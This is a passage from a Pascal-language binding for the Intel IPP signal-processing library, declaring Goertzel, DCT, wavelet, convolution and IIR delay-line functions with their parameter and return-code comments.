function ippsMulPack_32f( pSrc1 : Ipp32fPtr ; pSrc2 : Ipp32fPtr ; pDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsMulPerm_32f( pSrc1 : Ipp32fPtr ; pSrc2 : Ipp32fPtr ; pDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsMulPack_64f( pSrc1 : Ipp64fPtr ; pSrc2 : Ipp64fPtr ; pDst : Ipp64fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsMulPerm_64f( pSrc1 : Ipp64fPtr ; pSrc2 : Ipp64fPtr ; pDst : Ipp64fPtr ; len : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippsMulPackConj
Purpose: multiply on a complex conjugate vector and store in RCPack format
Parameters:
pSrc pointer to input vector (in-place case)
pSrcDst pointer to output vector (in-place case)
len vector`s length
Return:
ippStsNullPtrErr pointer(s) to the data is NULL
ippStsSizeErr vector`s length is less or equal zero
ippStsNoErr otherwise
}
function ippsMulPackConj_32f_I( pSrc : Ipp32fPtr ; pSrcDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsMulPackConj_64f_I( pSrc : Ipp64fPtr ; pSrcDst : Ipp64fPtr ; len : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippsGoertz
Purpose: compute DFT for single frequency (Goertzel algorithm)
Parameters:
freq single relative frequency value [0, 1.0)
pSrc pointer to the input vector
len length of the vector
pVal pointer to the DFT result value computed
scaleFactor scale factor value
Return:
ippStsNullPtrErr pointer to the data is NULL
ippStsSizeErr length of the vector is less or equal zero
ippStsRelFreqErr frequency value out of range
ippStsNoErr otherwise
}
function ippsGoertz_32fc( pSrc : Ipp32fcPtr ; len : Int32 ; pVal : Ipp32fcPtr ; rFreq : Ipp32f ): IppStatus; _ippapi
function ippsGoertz_64fc( pSrc : Ipp64fcPtr ; len : Int32 ; pVal : Ipp64fcPtr ; rFreq : Ipp64f ): IppStatus; _ippapi
function ippsGoertz_16sc_Sfs( pSrc : Ipp16scPtr ; len : Int32 ; pVal : Ipp16scPtr ; rFreq : Ipp32f ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsGoertz_32f( pSrc : Ipp32fPtr ; len : Int32 ; pVal : Ipp32fcPtr ; rFreq : Ipp32f ): IppStatus; _ippapi
function ippsGoertz_16s_Sfs( pSrc : Ipp16sPtr ; len : Int32 ; pVal : Ipp16scPtr ; rFreq : Ipp32f ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsGoertz_64f( pSrc : Ipp64fPtr ; len : Int32 ; pVal : Ipp64fcPtr ; rFreq : Ipp64f ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Definitions for DCT Functions
----------------------------------------------------------------------------
DCT Get Size Functions
{ ----------------------------------------------------------------------------
Name: ippsDCTFwdGetSize, ippsDCTInvGetSize
Purpose: get sizes of the DCTSpec and buffers (in bytes)
Arguments:
len - number of samples in DCT
hint - code specific use hints
pSpecSize - where write size of DCTSpec
pSpecBufferSize - where write size of buffer for DCTInit functions
pBufferSize - where write size of buffer for DCT calculation
Return:
ippStsNoErr no errors
ippStsNullPtrErr pSpecSize == NULL or pSpecBufferSize == NULL or
pBufferSize == NULL
ippStsSizeErr bad the len value
}
function ippsDCTFwdGetSize_32f( len : Int32 ; hint : IppHintAlgorithm ; pSpecSize : Int32Ptr ; pSpecBufferSize : Int32Ptr ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippsDCTInvGetSize_32f( len : Int32 ; hint : IppHintAlgorithm ; pSpecSize : Int32Ptr ; pSpecBufferSize : Int32Ptr ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippsDCTFwdGetSize_64f( len : Int32 ; hint : IppHintAlgorithm ; pSpecSize : Int32Ptr ; pSpecBufferSize : Int32Ptr ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippsDCTInvGetSize_64f( len : Int32 ; hint : IppHintAlgorithm ; pSpecSize : Int32Ptr ; pSpecBufferSize : Int32Ptr ; var pBufferSize : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
DCT Context Functions
{ ----------------------------------------------------------------------------
Name: ippsDCTFwdInit, ippsDCTInvInit
Purpose: initialize of DCT context
Arguments:
len - number of samples in DCT
hint - code specific use hints
ppDCTSpec - where write pointer to new context
pSpec - pointer to area for DCTSpec
pSpecBuffer - pointer to work buffer
Return:
ippStsNoErr no errors
ippStsNullPtrErr ppDCTSpec == NULL or
pSpec == NULL or pMemInit == NULL
ippStsSizeErr bad the len value
}
function ippsDCTFwdInit_32f( ppDCTSpec : IppsDCTFwdSpec_32fPtrPtr ; len : Int32 ; hint : IppHintAlgorithm ; pSpec : Ipp8uPtr ; pSpecBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsDCTInvInit_32f( ppDCTSpec : IppsDCTInvSpec_32fPtrPtr ; len : Int32 ; hint : IppHintAlgorithm ; pSpec : Ipp8uPtr ; pSpecBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsDCTFwdInit_64f( ppDCTSpec : IppsDCTFwdSpec_64fPtrPtr ; len : Int32 ; hint : IppHintAlgorithm ; pSpec : Ipp8uPtr ; pSpecBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsDCTInvInit_64f( ppDCTSpec : IppsDCTInvSpec_64fPtrPtr ; len : Int32 ; hint : IppHintAlgorithm ; pSpec : Ipp8uPtr ; pSpecBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
DCT Transforms
{ ----------------------------------------------------------------------------
Name: ippsDCTFwd, ippsDCTInv
Purpose: compute forward and inverse DCT of signal
Arguments:
pDCTSpec - pointer to DCT context
pSrc - pointer to source signal
pDst - pointer to destination signal
pSrcDst - pointer to signal
pBuffer - pointer to work buffer
scaleFactorPtr
- scale factor for output result
Return:
ippStsNoErr no errors
ippStsNullPtrErr pDCTSpec == NULL or
pSrc == NULL or pDst == NULL or pSrcDst == NULL
ippStsContextMatchErr bad context identifier
ippStsMemAllocErr memory allocation error
}
function ippsDCTFwd_32f( pSrc : Ipp32fPtr ; pDst : Ipp32fPtr ; pDCTSpec : IppsDCTFwdSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsDCTInv_32f( pSrc : Ipp32fPtr ; pDst : Ipp32fPtr ; pDCTSpec : IppsDCTInvSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsDCTFwd_32f_I( pSrcDst : Ipp32fPtr ; pDCTSpec : IppsDCTFwdSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsDCTInv_32f_I( pSrcDst : Ipp32fPtr ; pDCTSpec : IppsDCTInvSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsDCTFwd_64f( pSrc : Ipp64fPtr ; pDst : Ipp64fPtr ; pDCTSpec : IppsDCTFwdSpec_64fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsDCTInv_64f( pSrc : Ipp64fPtr ; pDst : Ipp64fPtr ; pDCTSpec : IppsDCTInvSpec_64fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsDCTFwd_64f_I( pSrcDst : Ipp64fPtr ; pDCTSpec : IppsDCTFwdSpec_64fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsDCTInv_64f_I( pSrcDst : Ipp64fPtr ; pDCTSpec : IppsDCTInvSpec_64fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Wavelet Transform Functions for Fixed Filter Banks
---------------------------------------------------------------------------- }
{
Name: ippsWTHaar
Purpose: one level Haar Wavelet Transform
Arguments:
pSrc - source vector;
len - length of source vector;
pDstLow - coarse "low frequency" component destination;
pDstHigh - detail "high frequency" component destination;
pSrcLow - coarse "low frequency" component source;
pSrcHigh - detail "high frequency" component source;
pDst - destination vector;
scaleFactor - scale factor value
Return:
ippStsNullPtrErr pointer(s) to the data vector is NULL
ippStsSizeErr the length is less or equal zero
ippStsNoErr otherwise
}
function ippsWTHaarFwd_32f( pSrc : Ipp32fPtr ; len : Int32 ; pDstLow : Ipp32fPtr ; pDstHigh : Ipp32fPtr ): IppStatus; _ippapi
function ippsWTHaarFwd_64f( pSrc : Ipp64fPtr ; len : Int32 ; pDstLow : Ipp64fPtr ; pDstHigh : Ipp64fPtr ): IppStatus; _ippapi
function ippsWTHaarFwd_16s_Sfs( pSrc : Ipp16sPtr ; len : Int32 ; pDstLow : Ipp16sPtr ; pDstHigh : Ipp16sPtr ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsWTHaarInv_32f( pSrcLow : Ipp32fPtr ; pSrcHigh : Ipp32fPtr ; pDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsWTHaarInv_64f( pSrcLow : Ipp64fPtr ; pSrcHigh : Ipp64fPtr ; pDst : Ipp64fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsWTHaarInv_16s_Sfs( pSrcLow : Ipp16sPtr ; pSrcHigh : Ipp16sPtr ; pDst : Ipp16sPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Wavelet Transform Fucntions for User Filter Banks
---------------------------------------------------------------------------- }
{
Name: ippsWTFwdGetSize
Purpose: Get sizes, in bytes, of the ippsWTFwd state structure.
Parameters:
srcType - Data type of the source vector.
lenLow - Length of lowpass filter.
offsLow - Input delay of lowpass filter.
lenHigh - Length of highpass filter.
offsHigh - Input delay of highpass filter.
pStateSize- Pointer to the size of the ippsWTFwd state structure (in bytes).
Returns:
ippStsNoErr - Ok.
ippStsNullPtrErr - Error when any of the specified pointers is NULL.
ippStsSizeErr - Error when filters length is negative, or equal to zero.
ippStsWtOffsetErr - Error when filter delay is less than (-1).
}
function ippsWTFwdGetSize( srcType : IppDataType ; lenLow : Int32 ; offsLow : Int32 ; lenHigh : Int32 ; offsHigh : Int32 ; pStateSize : Int32Ptr ): IppStatus; _ippapi
{
Name: ippsWTFwdInit
Purpose: Initialize forward wavelet transform state structure.
Parameters:
pState - Pointer to allocated ippsWTFwd state structure.
pTapsLow - Pointer to lowpass filter taps.
lenLow - Length of lowpass filter.
offsLow - Input delay of lowpass filter.
pTapsHigh - Pointer to highpass filter taps.
lenHigh - Length of highpass filter.
offsHigh - Input delay of highpass filter.
Returns:
ippStsNoErr - Ok.
ippStsNullPtrErr - Error when any of the specified pointers is NULL.
ippStsSizeErr - Error when filters length negative : is ; or equal to zero.
ippStsWtOffsetErr - Error when filter delay is less than (-1).
}
function ippsWTFwdInit_8u32f( pState : IppsWTFwdState_8u32fPtr ; pTapsLow : Ipp32fPtr ; lenLow : Int32 ; offsLow : Int32 ; pTapsHigh : Ipp32fPtr ; lenHigh : Int32 ; offsHigh : Int32 ): IppStatus; _ippapi
function ippsWTFwdInit_16u32f( pState : IppsWTFwdState_16u32fPtr ; pTapsLow : Ipp32fPtr ; lenLow : Int32 ; offsLow : Int32 ; pTapsHigh : Ipp32fPtr ; lenHigh : Int32 ; offsHigh : Int32 ): IppStatus; _ippapi
function ippsWTFwdInit_16s32f( pState : IppsWTFwdState_16s32fPtr ; pTapsLow : Ipp32fPtr ; lenLow : Int32 ; offsLow : Int32 ; pTapsHigh : Ipp32fPtr ; lenHigh : Int32 ; offsHigh : Int32 ): IppStatus; _ippapi
function ippsWTFwdInit_32f( pState : IppsWTFwdState_32fPtr ; pTapsLow : Ipp32fPtr ; lenLow : Int32 ; offsLow : Int32 ; pTapsHigh : Ipp32fPtr ; lenHigh : Int32 ; offsHigh : Int32 ): IppStatus; _ippapi
{
Name: ippsWTFwdSetDlyLine_32f, ippsWTFwdSetDlyLine_8s32f,
ippsWTFwdSetDlyLine_8u32f, ippsWTFwdSetDlyLine_16s32f,
ippsWTFwdSetDlyLine_16u32f
Purpose: The function copies the pointed vectors to internal delay lines.
Parameters:
pState - pointer to pState structure;
pDlyLow - pointer to delay line for lowpass filtering;
pDlyHigh - pointer to delay line for highpass filtering.
Returns:
ippStsNoErr - Ok;
ippStsNullPtrErr - some of pointers pDlyLow
or pDlyHigh vectors are NULL;
ippStspStateMatchErr - mismatch pState structure.
Notes: lengths of delay lines:
len(pDlyLow) = lenLow + offsLow - 1;
len(pDlyHigh) = lenHigh + offsHigh - 1;
lenLow, offsLow, lenHigh, offsHigh - parameters
for ippsWTFwdInitAlloc function.
}
function ippsWTFwdSetDlyLine_32f( pState : IppsWTFwdState_32fPtr ; pDlyLow : Ipp32fPtr ; const pDlyHigh : Ipp32fPtr ): IppStatus; _ippapi
function ippsWTFwdSetDlyLine_8u32f( pState : IppsWTFwdState_8u32fPtr ; pDlyLow : Ipp32fPtr ; const pDlyHigh : Ipp32fPtr ): IppStatus; _ippapi
function ippsWTFwdSetDlyLine_16s32f( pState : IppsWTFwdState_16s32fPtr ; pDlyLow : Ipp32fPtr ; const pDlyHigh : Ipp32fPtr ): IppStatus; _ippapi
function ippsWTFwdSetDlyLine_16u32f( pState : IppsWTFwdState_16u32fPtr ; pDlyLow : Ipp32fPtr ; const pDlyHigh : Ipp32fPtr ): IppStatus; _ippapi
{
Name: ippsWTFwdGetDlyLine_32f, ippsWTFwdGetDlyLine_8s32f,
ippsWTFwdGetDlyLine_8u32f, ippsWTFwdGetDlyLine_16s32f,
ippsWTFwdGetDlyLine_16u32f
Purpose: The function copies data from interanl delay lines
to the pointed vectors.
Parameters:
pState - pointer to pState structure;
pDlyLow - pointer to delay line for lowpass filtering;
pDlyHigh - pointer to delay line for highpass filtering.
Returns:
ippStsNoErr - Ok;
ippStsNullPtrErr - some of pointers pDlyLow
or pDlyHigh vectors are NULL;
ippStspStateMatchErr - mismatch pState structure.
Notes: lengths of delay lines:
len(pDlyLow) = lenLow + offsLow - 1;
len(pDlyHigh) = lenHigh + offsHigh - 1;
lenLow, offsLow, lenHigh, offsHigh - parameters
for ippsWTFwdInitAlloc function.
}
function ippsWTFwdGetDlyLine_32f( pState : IppsWTFwdState_32fPtr ; pDlyLow : Ipp32fPtr ; pDlyHigh : Ipp32fPtr ): IppStatus; _ippapi
function ippsWTFwdGetDlyLine_8u32f( pState : IppsWTFwdState_8u32fPtr ; pDlyLow : Ipp32fPtr ; pDlyHigh : Ipp32fPtr ): IppStatus; _ippapi
function ippsWTFwdGetDlyLine_16s32f( pState : IppsWTFwdState_16s32fPtr ; pDlyLow : Ipp32fPtr ; pDlyHigh : Ipp32fPtr ): IppStatus; _ippapi
function ippsWTFwdGetDlyLine_16u32f( pState : IppsWTFwdState_16u32fPtr ; pDlyLow : Ipp32fPtr ; pDlyHigh : Ipp32fPtr ): IppStatus; _ippapi
{
Name: ippsWTFwd_32f, ippsWTFwd_16s32f, ippsWTFwd_16u32f,
ippsWTFwd_8s32f, ippsWTFwd_8u32f
Purpose: Forward wavelet transform.
Parameters:
pSrc - pointer to source block of data;
pDstLow - pointer to destination block of
"low-frequency" component;
pDstHigh - pointer to destination block of
"high-frequency" component;
dstLen - length of destination;
pState - pointer to pState structure.
Returns:
ippStsNoErr - Ok;
ippStsNullPtrErr - some of pointers to pSrc, pDstLow
or pDstHigh vectors are NULL;
ippStsSizeErr - the length is less or equal zero;
ippStspStateMatchErr - mismatch pState structure.
Notes: source block length must be 2 * dstLen.
}
function ippsWTFwd_32f( pSrc : Ipp32fPtr ; pDstLow : Ipp32fPtr ; pDstHigh : Ipp32fPtr ; dstLen : Int32 ; pState : IppsWTFwdState_32fPtr ): IppStatus; _ippapi
function ippsWTFwd_8u32f( pSrc : Ipp8uPtr ; pDstLow : Ipp32fPtr ; pDstHigh : Ipp32fPtr ; dstLen : Int32 ; pState : IppsWTFwdState_8u32fPtr ): IppStatus; _ippapi
function ippsWTFwd_16s32f( pSrc : Ipp16sPtr ; pDstLow : Ipp32fPtr ; pDstHigh : Ipp32fPtr ; dstLen : Int32 ; pState : IppsWTFwdState_16s32fPtr ): IppStatus; _ippapi
function ippsWTFwd_16u32f( pSrc : Ipp16uPtr ; pDstLow : Ipp32fPtr ; pDstHigh : Ipp32fPtr ; dstLen : Int32 ; pState : IppsWTFwdState_16u32fPtr ): IppStatus; _ippapi
{
Name: ippsWTInvGetSize
Purpose: Get sizes, in bytes, of the ippsWTInv state structure.
Parameters:
dstType - Data type of the destination vector.
lenLow - Length of lowpass filter.
offsLow - Input delay of lowpass filter.
lenHigh - Length of highpass filter.
offsHigh - Input delay of highpass filter.
pStateSize- Pointer to the size of the ippsWTInv state structure (in bytes).
Returns:
ippStsNoErr - Ok.
ippStsNullPtrErr - Error when any of the specified pointers is NULL.
ippStsSizeErr - Error when filters length is negative, or equal to zero.
ippStsWtOffsetErr - Error when filter delay is less than (-1).
}
function ippsWTInvGetSize( dstType : IppDataType ; lenLow : Int32 ; offsLow : Int32 ; lenHigh : Int32 ; offsHigh : Int32 ; pStateSize : Int32Ptr ): IppStatus; _ippapi
{
Name: ippsWTInvInit
Purpose: Initialize inverse wavelet transform state structure.
Parameters:
pState - Pointer to allocated ippsWTInv state structure.
pTapsLow - Pointer to lowpass filter taps.
lenLow - Length of lowpass filter.
offsLow - Input delay of lowpass filter.
pTapsHigh - Pointer to highpass filter taps.
lenHigh - Length of highpass filter.
offsHigh - Input delay of highpass filter.
Returns:
ippStsNoErr - Ok.
ippStsNullPtrErr - Error when any of the specified pointers is NULL.
ippStsSizeErr - Error when filters length is negative, or equal to zero.
ippStsWtOffsetErr - Error when filter delay is less than (-1).
}
function ippsWTInvInit_32f8u( pState : IppsWTInvState_32f8uPtr ; pTapsLow : Ipp32fPtr ; lenLow : Int32 ; offsLow : Int32 ; pTapsHigh : Ipp32fPtr ; lenHigh : Int32 ; offsHigh : Int32 ): IppStatus; _ippapi
function ippsWTInvInit_32f16u( pState : IppsWTInvState_32f16uPtr ; pTapsLow : Ipp32fPtr ; lenLow : Int32 ; offsLow : Int32 ; pTapsHigh : Ipp32fPtr ; lenHigh : Int32 ; offsHigh : Int32 ): IppStatus; _ippapi
function ippsWTInvInit_32f16s( pState : IppsWTInvState_32f16sPtr ; pTapsLow : Ipp32fPtr ; lenLow : Int32 ; offsLow : Int32 ; pTapsHigh : Ipp32fPtr ; lenHigh : Int32 ; offsHigh : Int32 ): IppStatus; _ippapi
function ippsWTInvInit_32f( pState : IppsWTInvState_32fPtr ; pTapsLow : Ipp32fPtr ; lenLow : Int32 ; offsLow : Int32 ; pTapsHigh : Ipp32fPtr ; lenHigh : Int32 ; offsHigh : Int32 ): IppStatus; _ippapi
{
Name: ippsWTInvSetDlyLine_32f, ippsWTInvSetDlyLine_32f8s,
ippsWTInvSetDlyLine_32f8u, ippsWTInvSetDlyLine_32f16s,
ippsWTInvSetDlyLine_32f16u
Purpose: The function copies the pointed vectors to internal delay lines.
Parameters:
pState - pointer to pState structure;
pDlyLow - pointer to delay line for lowpass filtering;
pDlyHigh - pointer to delay line for highpass filtering.
Returns:
ippStsNoErr - Ok;
ippStsNullPtrErr - some of pointers pDlyLow
or pDlyHigh vectors are NULL;
ippStspStateMatchErr - mismatch pState structure.
Notes: lengths of delay lines (as "C" expression):
len(pDlyLow) = (lenLow + offsLow - 1) / 2;
len(pDlyHigh) = (lenHigh + offsHigh - 1) / 2;
lenLow, offsLow, lenHigh, offsHigh - parameters
for ippsWTInvInitAlloc function.
}
function ippsWTInvSetDlyLine_32f( pState : IppsWTInvState_32fPtr ; pDlyLow : Ipp32fPtr ; const pDlyHigh : Ipp32fPtr ): IppStatus; _ippapi
function ippsWTInvSetDlyLine_32f8u( pState : IppsWTInvState_32f8uPtr ; pDlyLow : Ipp32fPtr ; const pDlyHigh : Ipp32fPtr ): IppStatus; _ippapi
function ippsWTInvSetDlyLine_32f16s( pState : IppsWTInvState_32f16sPtr ; pDlyLow : Ipp32fPtr ; const pDlyHigh : Ipp32fPtr ): IppStatus; _ippapi
function ippsWTInvSetDlyLine_32f16u( pState : IppsWTInvState_32f16uPtr ; pDlyLow : Ipp32fPtr ; const pDlyHigh : Ipp32fPtr ): IppStatus; _ippapi
{
Name: ippsWTInvGetDlyLine_32f, ippsWTInvGetDlyLine_32f8s,
ippsWTInvGetDlyLine_32f8u, ippsWTInvGetDlyLine_32f16s,
ippsWTInvGetDlyLine_32f16u
Purpose: The function copies data from interanl delay lines
to the pointed vectors.
Parameters:
pState - pointer to pState structure;
pDlyLow - pointer to delay line for lowpass filtering;
pDlyHigh - pointer to delay line for highpass filtering.
Returns:
ippStsNoErr - Ok;
ippStsNullPtrErr - some of pointers pDlyLow
or pDlyHigh vectors are NULL;
ippStspStateMatchErr - mismatch pState structure.
Notes: lengths of delay lines (as "C" expression):
len(pDlyLow) = (lenLow + offsLow - 1) / 2;
len(pDlyHigh) = (lenHigh + offsHigh - 1) / 2;
lenLow, offsLow, lenHigh, offsHigh - parameters
for ippsWTInvInitAlloc function.
}
function ippsWTInvGetDlyLine_32f( pState : IppsWTInvState_32fPtr ; pDlyLow : Ipp32fPtr ; pDlyHigh : Ipp32fPtr ): IppStatus; _ippapi
function ippsWTInvGetDlyLine_32f8u( pState : IppsWTInvState_32f8uPtr ; pDlyLow : Ipp32fPtr ; pDlyHigh : Ipp32fPtr ): IppStatus; _ippapi
function ippsWTInvGetDlyLine_32f16s( pState : IppsWTInvState_32f16sPtr ; pDlyLow : Ipp32fPtr ; pDlyHigh : Ipp32fPtr ): IppStatus; _ippapi
function ippsWTInvGetDlyLine_32f16u( pState : IppsWTInvState_32f16uPtr ; pDlyLow : Ipp32fPtr ; pDlyHigh : Ipp32fPtr ): IppStatus; _ippapi
{
Name: ippsWTInv_32f, ippsWTInv_32f16s, ippsWTInv_32f16u,
ippsWTInv_32f8u
Purpose: Inverse wavelet transform.
Parameters:
srcLow - pointer to source block of "low-frequency" component;
srcHigh - pointer to source block of "high-frequency" component;
dstLen - length of components.
dst - pointer to destination block of reconstructed data;
pState - pointer to pState structure;
Returns:
ippStsNoErr - Ok;
ippStsNullPtrErr - some of pointers to pDst pSrcLow or pSrcHigh vectors are NULL;
ippStsSizeErr - the length is less or equal zero;
ippStspStateMatchErr - mismatch pState structure.
Notes: destination block length must be 2 * srcLen.
}
function ippsWTInv_32f( pSrcLow : Ipp32fPtr ; pSrcHigh : Ipp32fPtr ; srcLen : Int32 ; pDst : Ipp32fPtr ; pState : IppsWTInvState_32fPtr ): IppStatus; _ippapi
function ippsWTInv_32f8u( pSrcLow : Ipp32fPtr ; pSrcHigh : Ipp32fPtr ; srcLen : Int32 ; pDst : Ipp8uPtr ; pState : IppsWTInvState_32f8uPtr ): IppStatus; _ippapi
function ippsWTInv_32f16s( pSrcLow : Ipp32fPtr ; pSrcHigh : Ipp32fPtr ; srcLen : Int32 ; pDst : Ipp16sPtr ; pState : IppsWTInvState_32f16sPtr ): IppStatus; _ippapi
function ippsWTInv_32f16u( pSrcLow : Ipp32fPtr ; pSrcHigh : Ipp32fPtr ; srcLen : Int32 ; pDst : Ipp16uPtr ; pState : IppsWTInvState_32f16uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Filtering
----------------------------------------------------------------------------
Convolution functions
----------------------------------------------------------------------------
Names: ippsConvolveGetBufferSize
Purpose: Get the size (in bytes) of the buffer for ippsConvolve`s internal calculations.
Parameters:
src1Len - Length of the first source vector.
src2Len - Length of the second source vector.
dataType - Data type for convolution (Ipp32f|Ipp64f).
algType - Selector for the algorithm type. Contains IppAlgType values.
pBufferSize - Pointer to the calculated buffer size (in bytes).
Return:
ippStsNoErr - OK
ippStsNullPtrErr - pBufferSize is NULL.
ippStsSizeErr - Vector`s length is not positive.
ippStsDataTypeErr - Unsupported data type.
ippStsAlgTypeErr - Unsupported algorithm type.
}
function ippsConvolveGetBufferSize( src1Len : Int32 ; src2Len : Int32 ; dataType : IppDataType ; algType : IppEnum ; var pBufferSize : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsConvolve_32f, ippsConvolve_64f
Purpose: Perform a linear convolution of 1D signals.
Parameters:
pSrc1 - Pointer to the first source vector.
src1Len - Length of the first source vector.
pSrc2 - Pointer to the second source vector.
src2Len - Length of the second source vector.
pDst - Pointer to the destination vector.
algType - Selector for the algorithm type. Contains IppAlgType values.
pBuffer - Pointer to the buffer for internal calculations.
Returns: IppStatus
ippStsNoErr - OK.
ippStsNullPtrErr - One of the pointers is NULL.
ippStsSizeErr - Vector`s length is not positive.
ippStsAlgTypeErr - Unsupported algorithm type.
Notes:
Length of the destination data vector is src1Len+src2Len-1.
The input signals are exchangeable because of the commutative
property of convolution.
Some other values may be returned the by FFT transform functions.
}
function ippsConvolve_32f( pSrc1 : Ipp32fPtr ; src1Len : Int32 ; pSrc2 : Ipp32fPtr ; src2Len : Int32 ; pDst : Ipp32fPtr ; algType : IppEnum ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsConvolve_64f( pSrc1 : Ipp64fPtr ; src1Len : Int32 ; pSrc2 : Ipp64fPtr ; src2Len : Int32 ; pDst : Ipp64fPtr ; algType : IppEnum ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsConvBiased_32f
Purpose: Linear Convolution of 1D signals whith a bias.
Parameters:
pSrc1 pointer to the first source vector
pSrc2 pointer to the second source vector
src1Len length of the first source vector
src2Len length of the second source vector
pDst pointer to the destination vector
dstLen length of the destination vector
bias
Returns: IppStatus
ippStsNullPtrErr pointer(s) to the data is NULL
ippStsSizeErr length of the vectors is less or equal zero
ippStsNoErr otherwise
}
function ippsConvBiased_32f( pSrc1 : Ipp32fPtr ; src1Len : Int32 ; pSrc2 : Ipp32fPtr ; src2Len : Int32 ; pDst : Ipp32fPtr ; dstLen : Int32 ; bias : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
IIR filters (float and double taps versions)
---------------------------------------------------------------------------- }
{ ----------------------------------------------------------------------------
Work with Delay Line
{ ----------------------------------------------------------------------------
Names: ippsIIRGetDlyLine, ippsIIRSetDlyLine
Purpose: set and get delay line
Parameters:
pState - pointer to IIR filter context
pDelay - pointer to delay line to be set
Return:
ippStsContextMatchErr - wrong context identifier
ippStsNullPtrErr - pointer(s) pState or pDelay is NULL
ippStsNoErr - otherwise
}
function ippsIIRGetDlyLine_32f( pState : IppsIIRState_32fPtr ; pDlyLine : Ipp32fPtr ): IppStatus; _ippapi
function ippsIIRSetDlyLine_32f( pState : IppsIIRState_32fPtr ; const pDlyLine : Ipp32fPtr ): IppStatus; _ippapi
function ippsIIRGetDlyLine_32fc( pState : IppsIIRState_32fcPtr ; pDlyLine : Ipp32fcPtr ): IppStatus; _ippapi
function ippsIIRSetDlyLine_32fc( pState : IppsIIRState_32fcPtr ; const pDlyLine : Ipp32fcPtr ): IppStatus; _ippapi
function ippsIIRGetDlyLine32f_16s( pState : IppsIIRState32f_16sPtr ; pDlyLine : Ipp32fPtr ): IppStatus; _ippapi
function ippsIIRSetDlyLine32f_16s( pState : IppsIIRState32f_16sPtr ; const pDlyLine : Ipp32fPtr ): IppStatus; _ippapi
function ippsIIRGetDlyLine32fc_16sc( pState : IppsIIRState32fc_16scPtr ; pDlyLine : Ipp32fcPtr ): IppStatus; _ippapi
function ippsIIRSetDlyLine32fc_16sc( pState : IppsIIRState32fc_16scPtr ; const pDlyLine : Ipp32fcPtr ): IppStatus; _ippapi
function ippsIIRGetDlyLine_64f( pState : IppsIIRState_64fPtr ; pDlyLine : Ipp64fPtr ): IppStatus; _ippapi
function ippsIIRSetDlyLine_64f( pState : IppsIIRState_64fPtr ; const pDlyLine : Ipp64fPtr ): IppStatus; _ippapi
function ippsIIRGetDlyLine_64fc( pState : IppsIIRState_64fcPtr ; pDlyLine : Ipp64fcPtr ): IppStatus; _ippapi
function ippsIIRSetDlyLine_64fc( pState : IppsIIRState_64fcPtr ; const pDlyLine : Ipp64fcPtr ): IppStatus; _ippapi
function ippsIIRGetDlyLine64f_32f( pState : IppsIIRState64f_32fPtr ; pDlyLine : Ipp64fPtr ): IppStatus; _ippapi
function ippsIIRSetDlyLine64f_32f( pState : IppsIIRState64f_32fPtr ; const pDlyLine : Ipp64fPtr ): IppStatus; _ippapi
function ippsIIRGetDlyLine64fc_32fc( pState : IppsIIRState64fc_32fcPtr ; pDlyLine : Ipp64fcPtr ): IppStatus; _ippapi
function ippsIIRSetDlyLine64fc_32fc( pState : IppsIIRState64fc_32fcPtr ; const pDlyLine : Ipp64fcPtr ): IppStatus; _ippapi
function ippsIIRGetDlyLine64f_32s( pState : IppsIIRState64f_32sPtr ; pDlyLine : Ipp64fPtr ): IppStatus; _ippapi
function ippsIIRSetDlyLine64f_32s( pState : IppsIIRState64f_32sPtr ; const pDlyLine : Ipp64fPtr ): IppStatus; _ippapi
function ippsIIRGetDlyLine64fc_32sc( pState : IppsIIRState64fc_32scPtr ; pDlyLine : Ipp64fcPtr ): IppStatus; _ippapi
function ippsIIRSetDlyLine64fc_32sc( pState : IppsIIRState64fc_32scPtr ; const pDlyLine : Ipp64fcPtr ): IppStatus; _ippapi
function ippsIIRGetDlyLine64f_16s( pState : IppsIIRState64f_16sPtr ; pDlyLine : Ipp64fPtr ): IppStatus; _ippapi
function ippsIIRSetDlyLine64f_16s( pState : IppsIIRState64f_16sPtr ; const pDlyLine : Ipp64fPtr ): IppStatus; _ippapi
function ippsIIRGetDlyLine64fc_16sc( pState : IppsIIRState64fc_16scPtr ; pDlyLine : Ipp64fcPtr ): IppStatus; _ippapi
function ippsIIRSetDlyLine64fc_16sc( pState : IppsIIRState64fc_16scPtr ; const pDlyLine : Ipp64fcPtr ): IppStatus; _ippapi
